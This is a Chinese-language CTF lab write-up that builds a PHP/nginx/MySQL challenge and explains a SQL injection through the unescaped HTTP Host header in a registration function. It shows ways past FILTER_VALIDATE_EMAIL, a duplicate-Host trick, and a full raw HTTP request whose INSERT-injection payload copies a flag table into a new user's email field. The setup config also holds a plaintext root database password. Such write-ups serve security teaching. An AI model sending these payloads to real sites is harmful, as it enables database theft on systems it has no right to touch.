环境配置(centos7)
1.php56 + php56-fpm
bash
//配置epel
yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
//安装php56,php56-fpm及其依赖
yum --enablerepo=remi install php56-php
yum --enablerepo=remi install php56-php-devel php56-php-fpm php56-php-gd php56-php-xml php56-php-sockets php56-php-session php56-php-snmp php56-php-mysql
2.nginx
①去往cd /usr/share/nginx/html/ 新建目录kaka,将protected文件夹和web文件夹放入kaka目录
②再去往protected目录下找到config.php设置与mysql5.7的连接
php
<?php
date_default_timezone_set('PRC');
$config = array(
'rewrite' => array(
'<m>/<c>/<a>' => '<m>/<c>/<a>',
'<c>/<a>' => '<c>/<a>',
'/' => 'main/index',
),
'debug' => 1,
'mysql' => array(
'MYSQL_HOST' => 'localhost',
'MYSQL_PORT' => '3306',
'MYSQL_USER' => 'root',
'MYSQL_DB' => 'LNMP',
'MYSQL_PASS' => 'QWER97!',
'MYSQL_CHARSET' => 'utf8mb4',
),
);
return $config;
③修改nginx配置文件nginx.conf,添加以下内容
html
server{
listen 80;
root /usr/local/nginx/html/kaka/web;
index index.html index.php;
server_name 2023.saorikaka.pw;
location / {
try_files $uri $uri/ /index.php;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
④找到html目录下的index.html文件
在body添加内容
<form action="" method="post" enctype="multipart/form-data"></form>
⑤去 /protected/view 找main_register.html文件添加内容enctype="multipart/form-data"
⑥尝试登陆该网页,使用IP地址登陆,看是否跳转到 IP地址/main/log,如果357行报错,我们可以去/protected/lib目录下的core.php中将 $GLOBALS['view']['compile_dir']后的内容改为 '/tmp'
成功登陆后去往regist注册页面
3.mysql5.7
sql
//mysql 随便创建一个数据库并使用,添加如下代码创建存放flag的数据表
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;
DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`flag` varchar(256) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(256) NOT NULL,
`password` varchar(32) NOT NULL,
`email` varchar(256) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;
SET FOREIGN_KEY_CHECKS = 1;
//插入一个flag
insert into flags (flag) value ('I_Love_security');
题干
注册、登录功能相关代码
php
<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);
function escape(&$arg) {
if(is_array($arg)) {
foreach ($arg as &$value) {
escape($value);
}
} else {
$arg = str_replace(["'", '\\', '(', ')'], ["'", '\\\\', '(', ')'], $arg);
}
}
function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) {
$arg = $_REQUEST[$name];
} elseif (isset($_SERVER[$name])) {
$arg = $_SERVER[$name];
} else {
$arg = $default;
}
if($trim) {
$arg = trim($arg);
}
return $arg;
}
值得注意的点
1.escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义
2._REQUEST,_POST,$_GET全都需要经过escape函数的过滤
3.arg是获取用户输入的_REQUEST或_SERVER。但这里$_SERVER变量没有经过转义
控制代码
php
<?php
function actionRegister(){
if ($_POST) {
$username = arg('username');
$password = arg('password');
if (empty($username) || empty($password)) {
$this->error('Username or password is empty.');
}
$email = arg('email');
if (empty($email)) {
$email = $username . '@' . arg('HTTP_HOST');
}
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$this->error('Email error.');
}
$user = new User();
$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
if ($data) {
$this->error('This username is exists.');
}
$ret = $user->create([
'username' => $username,
'password' => md5($password),
'email' => $email
]);
if ($ret) {
$_SESSION['user_id'] = $user->lastInsertId();
} else {
$this->error('Unknown error.');
}
}
}
值得注意的点
1.账号和密码被empty函数检测,不可以为空,会报错。
2.邮箱不填写内容会自动设置为"用户名@网站域名"
3.create方法其实就是拼接了一个INSERT语句
4.因为_SERVER没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞,但email变量经过了**`filter_var(email, FILTER_VALIDATE_EMAIL)`**的检测,我们首先要绕过FILTER_VALIDATE_EMAIL
绕过FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_EMAIL的规则
RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:
- 将特殊字符用\转义,如Joe\'Blow@example.com
- 或将local part包裹在双引号中,如"Joe'Blow"@example.com
- local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用其绕过FILTER_VALIDATE_EMAIL的检测
绕过思路一
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,
(将单引号'被包裹在双引号""中)
最后拼接出来的邮箱为"@aaa'"@example.com
简单来说
username 给一个 "
host 给一个 aaa'"@example.com
按照函数里拼接的方法 username + @ +host
结果就是"@aaa'"@example.com 这样单引号'就被带进去了
利用burpsuite进行绕过测试
1.输入 账号 "x 密码随意 email空着就行
2.打开抓包工具 intercept is on
3.在网页上输入我们预想的账号和密码,进行sign up
4.查看抓包工具
5.将内容全选 send to Repeater
6.去掉一些没有用的杂质
bash
POST /main/register HTTP/1.1
Host: 192.168.226.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryloAJbBwR6NkeAfK6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="username"
"x
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="password"
123kaka
------WebKitFormBoundaryloAJbBwR6NkeAfK6--
7.真正准备绕过
修改host为 aaaa'"@qq.com
8.send提交
可以看见单引号 ' 已经进入了
语法错误是因为多了一个单引号,出错才代表注入成功
查看网页内容
可见已经绕过成功
绕过思路二------双host
更早版本,差不多 nginx1.15.10的时候 使用两个Host头
当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准
当我们传入如下
Host: 2023.mhz.pw
Host: xxx'"@example.com
Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;但PHP中使用$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com
绕过思路三------insert注入方法
html
POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users values ('"a','dsadsadasdwdasda','"a@'),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176
----------356678531
Content-Disposition: form-data; name="username"
"a
----------356678531
Content-Disposition: form-data; name="password"
aaa
----------356678531--
闭合之前的insert语句并添加一个用户t123,将flag读取到email字段